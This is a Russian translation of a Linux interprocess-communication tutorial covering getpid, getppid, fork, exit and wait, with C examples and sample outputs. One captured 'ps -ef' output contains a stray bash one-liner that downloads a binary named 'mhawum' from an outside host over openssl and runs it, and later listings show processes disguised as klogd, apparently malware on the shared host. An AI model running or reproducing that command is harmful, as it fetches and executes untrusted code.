Межпроцессное взаимодействие - Краткое руководство
Межпроцессное взаимодействие (IPC) - это механизм, который включает в себя взаимодействие одного процесса с другим. Обычно это происходит только в одной системе.
Связь бывает двух типов -
Между связанными процессами, инициируемыми только одним процессом, например родительским и дочерним процессами.
Между несвязанными процессами или двумя или более разными процессами.
Ниже приведены некоторые важные термины, которые нам необходимо знать, прежде чем продолжить рассмотрение этой темы.
Pipes- Связь между двумя взаимосвязанными процессами. Механизм полудуплексный, что означает, что первый процесс взаимодействует со вторым. Для достижения полного дуплекса, т. Е. Для связи второго процесса с первым процессом, требуется другой канал.
FIFO- Связь между двумя несвязанными процессами. FIFO является полнодуплексным, что означает, что первый процесс может одновременно взаимодействовать со вторым процессом и наоборот.
Message Queues- Связь между двумя или более процессами с полным дуплексом. Процессы будут взаимодействовать друг с другом, отправляя сообщение и извлекая его из очереди. После получения сообщение больше не доступно в очереди.
Shared Memory- Связь между двумя или более процессами достигается за счет общей памяти для всех процессов. Общая память должна быть защищена друг от друга путем синхронизации доступа ко всем процессам.
Semaphores- Семафоры предназначены для синхронизации доступа к нескольким процессам. Когда один процесс хочет получить доступ к памяти (для чтения или записи), он должен быть заблокирован (или защищен) и освобожден при удалении доступа. Это необходимо повторить всем процессам для защиты данных.
Signals- Сигнал - это механизм связи между несколькими процессами посредством сигнализации. Это означает, что исходный процесс отправит сигнал (распознаваемый по номеру), а целевой процесс обработает его соответствующим образом.
Note - Почти все программы в этом руководстве основаны на системных вызовах в операционной системе Linux (выполняются в Ubuntu).
Прежде чем мы перейдем к информации о процессе, нам нужно знать несколько вещей, например:
Что такое процесс? Процесс - это выполняемая программа.
Что такое программа? Программа - это файл, содержащий информацию о процессе и способах его создания во время выполнения. Когда вы начинаете выполнение программы, она загружается в оперативную память и начинает выполняться.
Каждый процесс идентифицируется уникальным положительным целым числом, называемым идентификатором процесса или просто PID (идентификационный номер процесса). Ядро обычно ограничивает идентификатор процесса 32767, который можно настроить. Когда идентификатор процесса достигает этого предела, он снова сбрасывается, то есть после диапазона системных процессов. Затем неиспользованные идентификаторы процесса из этого счетчика назначаются вновь созданным процессам.
Системный вызов getpid () возвращает идентификатор вызывающего процесса.
#include <sys/types.h>
#include <unistd.h>
pid_t getpid(void);
Этот вызов возвращает идентификатор вызывающего процесса, который гарантированно будет уникальным. Этот вызов всегда успешен и, следовательно, не возвращает значения, указывающего на ошибку.
У каждого процесса есть свой уникальный идентификатор, называемый идентификатором процесса. Это нормально, но кто его создал? Как узнать о его создателе? Процесс-создатель называется родительским процессом. Родительский идентификатор или PPID можно получить с помощью вызова getppid ().
Системный вызов getppid () возвращает родительский PID вызывающего процесса.
#include <sys/types.h>
#include <unistd.h>
pid_t getppid(void);
Этот вызов возвращает идентификатор родительского процесса вызывающего процесса. Этот вызов всегда успешен и, следовательно, не возвращает значения, указывающего на ошибку.
Давайте разберемся в этом на простом примере.
Ниже приведена программа для определения PID и PPID вызывающего процесса.
File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
После компиляции и выполнения вышеуказанной программы будет получен следующий результат.
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost: $1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2> /dev/null | tee out | while read line do if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c))) fi if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize > size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
Note- Библиотечная функция «C» system () выполняет команду оболочки. Аргументы, передаваемые в system (), являются командами, выполняемыми в оболочке. В приведенной выше программе используется команда «ps», которая отображает статус процесса.
Полная информация обо всех запущенных процессах и другая информация, относящаяся к системе, доступна из файловой системы proc, доступной в / proc.
Теперь, когда мы увидели, как получить основную информацию о процессе и его родительском процессе, пришло время изучить детали информации о процессе / программе.
Что такое образ процесса? Образ процесса - это исполняемый файл, необходимый для выполнения программы. Это изображение обычно содержит следующие разделы -
- Сегмент кода или текстовый сегмент
- Сегмент данных
- Сегмент стека
- Сегмент кучи
Ниже приводится графическое изображение процесса.
Code segment- это часть виртуального адресного пространства объектного файла или программы, состоящая из исполняемых инструкций. Обычно это сегмент данных только для чтения и имеет фиксированный размер.
Сегмент данных бывает двух типов.
- Initialized
- Un-initialized
Initialized data segment - это часть объектного файла или виртуального адресного пространства программы, состоящая из инициализированных статических и глобальных переменных.
Un-initialized data segment- это часть объектного файла или виртуального адресного пространства программы, состоящая из неинициализированных статических и глобальных переменных. Неинициализированный сегмент данных также называется сегментом BSS (Block Started by Symbol).
Data segmentэто чтение-запись, поскольку значения переменных могут быть изменены во время выполнения. Этот сегмент также имеет фиксированный размер.
Stack segmentэто область памяти, предназначенная для автоматических переменных и параметров функций. Он также сохраняет адрес возврата при выполнении вызовов функций. Стек использует механизм LIFO (Last-In-First-Out) для хранения локальных или автоматических переменных, параметров функций и сохранения следующего адреса или адреса возврата. Адрес возврата относится к адресу, который нужно вернуть после завершения выполнения функции. Этот размер сегмента является переменным в зависимости от локальных переменных, параметров функций и вызовов функций. Этот сегмент растет от более высокого адреса к более низкому адресу.
Heap segmentэто область памяти, выделенная для хранения динамической памяти, например для вызовов malloc () и calloc (). Этот размер сегмента также зависит от распределения пользователей. Этот сегмент растет от более низкого адреса к более высокому адресу.
Давайте теперь проверим, как меняются размеры сегментов (сегментов данных и bss), с помощью нескольких программ-примеров. Размер сегмента можно узнать, выполнив команду «size».
Начальная программа
Файл: segment_size1.c
#include<stdio.h>
int main() {
printf("Hello World\n");
return 0;
}
В следующей программе добавлена неинициализированная статическая переменная. Это означает, что размер неинициализированного сегмента (BSS) увеличится на 4 байта.Note- В операционной системе Linux размер int составляет 4 байта. Размер целочисленного типа данных зависит от компилятора и поддержки операционной системы.
Файл: segment_size2.c
#include<stdio.h>
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
В следующей программе добавлена инициализированная статическая переменная. Это означает, что размер инициализированного сегмента (DATA) увеличится на 4 байта.
Файл: segment_size3.c
#include<stdio.h>
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
В следующей программе добавлена инициализированная глобальная переменная. Это означает, что размер инициализированного сегмента (DATA) увеличится на 4 байта.
Файл: segment_size4.c
#include<stdio.h>
int myglobalint1 = 500;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
В следующей программе добавлена неинициализированная глобальная переменная. Это означает, что размер неинициализированного сегмента (BSS) увеличится на 4 байта.
Файл: segment_size5.c
#include<stdio.h>
int myglobalint1 = 500;
int myglobalint2;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
Шаги выполнения
Компиляция
babukrishnam $ gcc segment_size1.c -o segment_size1
babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3
babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size5
Выполнение / Вывод
babukrishnam size segment_size1 segment_size2 segment_size3 segment_size4 segment_size5
text data bss dec hex filename
878 252 8 1138 472 segment_size1
878 252 12 1142 476 segment_size2
878 256 12 1146 47a segment_size3
878 260 12 1150 47e segment_size4
878 260 16 1154 482 segment_size5
babukrishnam
До сих пор мы знаем, что всякий раз, когда мы выполняем программу, создается процесс, который завершается после завершения выполнения. Что, если нам нужно создать процесс в программе, и нам может потребоваться запланировать для него другую задачу. Можно ли этого добиться? Да, очевидно, через создание процесса. Конечно, после того, как работа будет завершена, она будет автоматически прекращена, или вы можете прекратить ее по мере необходимости.
Создание процесса достигается за счет fork() system call. Вновь созданный процесс называется дочерним процессом, а процесс, который его инициировал (или процесс при запуске), называется родительским процессом. После системного вызова fork () у нас есть два процесса - родительский и дочерний. Как их отличить? Очень просто, через их возвращаемые значения.
После создания дочернего процесса давайте посмотрим подробности системного вызова fork ().
#include <sys/types.h>
#include <unistd.h>
pid_t fork(void);
Создает дочерний процесс. После этого вызова появляются два процесса: существующий называется родительским процессом, а вновь созданный - дочерним процессом.
Системный вызов fork () возвращает одно из трех значений:
Отрицательное значение указывает на ошибку, т. Е. Не удалось создать дочерний процесс.
Возвращает ноль для дочернего процесса.
Возвращает положительное значение для родительского процесса. Это значение является идентификатором вновь созданного дочернего процесса.
Рассмотрим простую программу.
File name: basicfork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
fork();
printf("Called fork() system call\n");
return 0;
}
Шаги выполнения
Компиляция
gcc basicfork.c -o basicfork
Выполнение / Вывод
Called fork() system call
Called fork() system call
Note- Обычно после вызова fork () дочерний процесс и родительский процесс выполняли бы разные задачи. Если нужно запустить одну и ту же задачу, то для каждого вызова fork () она будет выполняться 2 раза n раз, гдеn - количество вызовов fork ().
В приведенном выше случае fork () вызывается один раз, поэтому результат печатается дважды (2 степени 1). Если вызов fork (), скажем, 3 раза, то вывод будет напечатан 8 раз (2 степени 3). Если он вызывается 5 раз, то он печатает 32 раза и так далее и так далее.
Увидев, как fork () создает дочерний процесс, пришло время увидеть детали родительского и дочернего процессов.
Имя файла: pids_after_fork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
pid_t pid, mypid, myppid;
pid = getpid();
printf("Before fork: Process id is %d\n", pid);
pid = fork();
if (pid < 0) {
perror("fork() failure\n");
return 1;
}
// Child process
if (pid == 0) {
printf("This is child process\n");
mypid = getpid();
myppid = getppid();
printf("Process id is %d and PPID is %d\n", mypid, myppid);
} else { // Parent process
sleep(2);
printf("This is parent process\n");
mypid = getpid();
myppid = getppid();
printf("Process id is %d and PPID is %d\n", mypid, myppid);
printf("Newly created process id or child pid is %d\n", pid);
}
return 0;
}
Этапы компиляции и выполнения
Before fork: Process id is 166629
This is child process
Process id is 166630 and PPID is 166629
Before fork: Process id is 166629
This is parent process
Process id is 166629 and PPID is 166628
Newly created process id or child pid is 166630
Процесс может завершиться одним из двух способов:
Аномально возникает при доставке определенных сигналов, например сигнала завершения.
Обычно используется системный вызов _exit () (или системный вызов _Exit ()) или библиотечная функция exit ().
Разница между _exit () и exit () в основном заключается в очистке. Вexit() выполняет некоторую очистку перед возвратом управления ядру, в то время как _exit() (или _Exit ()) немедленно вернет управление обратно ядру.
Рассмотрим следующий пример программы с exit ().
Имя файла: atexit_sample.c
#include <stdio.h>
#include <stdlib.h>
void exitfunc() {
printf("Called cleanup function - exitfunc()\n");
return;
}
int main() {
atexit(exitfunc);
printf("Hello, World!\n");
exit (0);
}
Этапы компиляции и выполнения
Hello, World!
Called cleanup function - exitfunc()
Рассмотрим следующий пример программы с _exit ().
Имя файла: at_exit_sample.c
#include <stdio.h>
#include <unistd.h>
void exitfunc() {
printf("Called cleanup function - exitfunc()\n");
return;
}
int main() {
atexit(exitfunc);
printf("Hello, World!\n");
_exit (0);
}
Этапы компиляции и выполнения
Hello, World!
Как мы видели, всякий раз, когда мы создаем дочерний процесс из программы с помощью fork, происходит следующее:
- Текущий процесс теперь становится родительским.
- Новый процесс становится дочерним процессом
Что произойдет, если родительский процесс завершит свою задачу раньше, чем дочерний процесс, а затем завершится или завершится? Кто теперь будет родителем дочернего процесса? Родителем дочернего процесса является процесс init, который является самым первым процессом, запускающим все задачи.
Чтобы отслеживать состояние выполнения дочернего процесса, проверять, запущен или остановлен дочерний процесс, проверять состояние выполнения и т. Д., Используются системные вызовы wait () и их варианты.
Давайте рассмотрим пример программы, в которой родительский процесс не ждет дочернего процесса, в результате чего процесс init становится новым родительским процессом для дочернего процесса.
Имя файла: parentprocess_nowait.c
#include<stdio.h>
int main() {
int pid;
pid = fork();
// Child process
if (pid == 0) {
system("ps -ef");
sleep(10);
system("ps -ef");
} else {
sleep(3);
}
return 0;
}
Этапы компиляции и выполнения
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:13:38 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:35:14 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 163891 0 0 05:41 ? 00:00:00 main
8023807 164130 0 0 05:41 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 164136 164130 0 05:41 ? 00:00:00 timeout 10s main
8023807 164137 164136 0 05:41 ? 00:00:00 main
8023807 164138 164137 0 05:41 ? 00:00:00 main
8023807 164139 164138 0 05:41 ? 00:00:00 ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:13:48 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:35:24 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 164138 0 0 05:41 ? 00:00:00 main
8023807 164897 164138 0 05:41 ? 00:00:00 ps -ef
Note - Обратите внимание, что PID родительского процесса был 94, а PID дочернего процесса был 95. После выхода из родительского процесса PPID дочернего процесса изменился с 94 на 1 (процесс инициализации).
Ниже приведены варианты системных вызовов для мониторинга дочерних процессов.
- wait()
- waitpid()
- waitid()
В wait() системный вызов будет ждать завершения одного из дочерних элементов и возвращать его статус завершения в буфере, как описано ниже.
#include <sys/types.h>
#include <sys/wait.h>
pid_t wait(int *status);
Этот вызов возвращает идентификатор процесса прерванного дочернего процесса в случае успеха и -1 в случае неудачи. Системный вызов wait () приостанавливает выполнение текущего процесса и ожидает бесконечно, пока один из его дочерних процессов не завершится. Статус прекращения от ребенка доступен в статусе.
Давайте изменим предыдущую программу так, чтобы родительский процесс теперь ждал дочерний процесс.
/ * Имя файла: parentprocess_waits.c * /
#include<stdio.h>
int main() {
int pid;
int status;
pid = fork();
// Child process
if (pid == 0) {
system("ps -ef");
sleep(10);
system("ps -ef");
return 3; //exit status is 3 from child process
} else {
sleep(3);
wait(&status);
printf("In parent process: exit status from child is decimal %d, hexa %0x\n", status, status);
}
return 0;
}
Этапы компиляции и выполнения
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:42 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:19:39 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:41:15 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
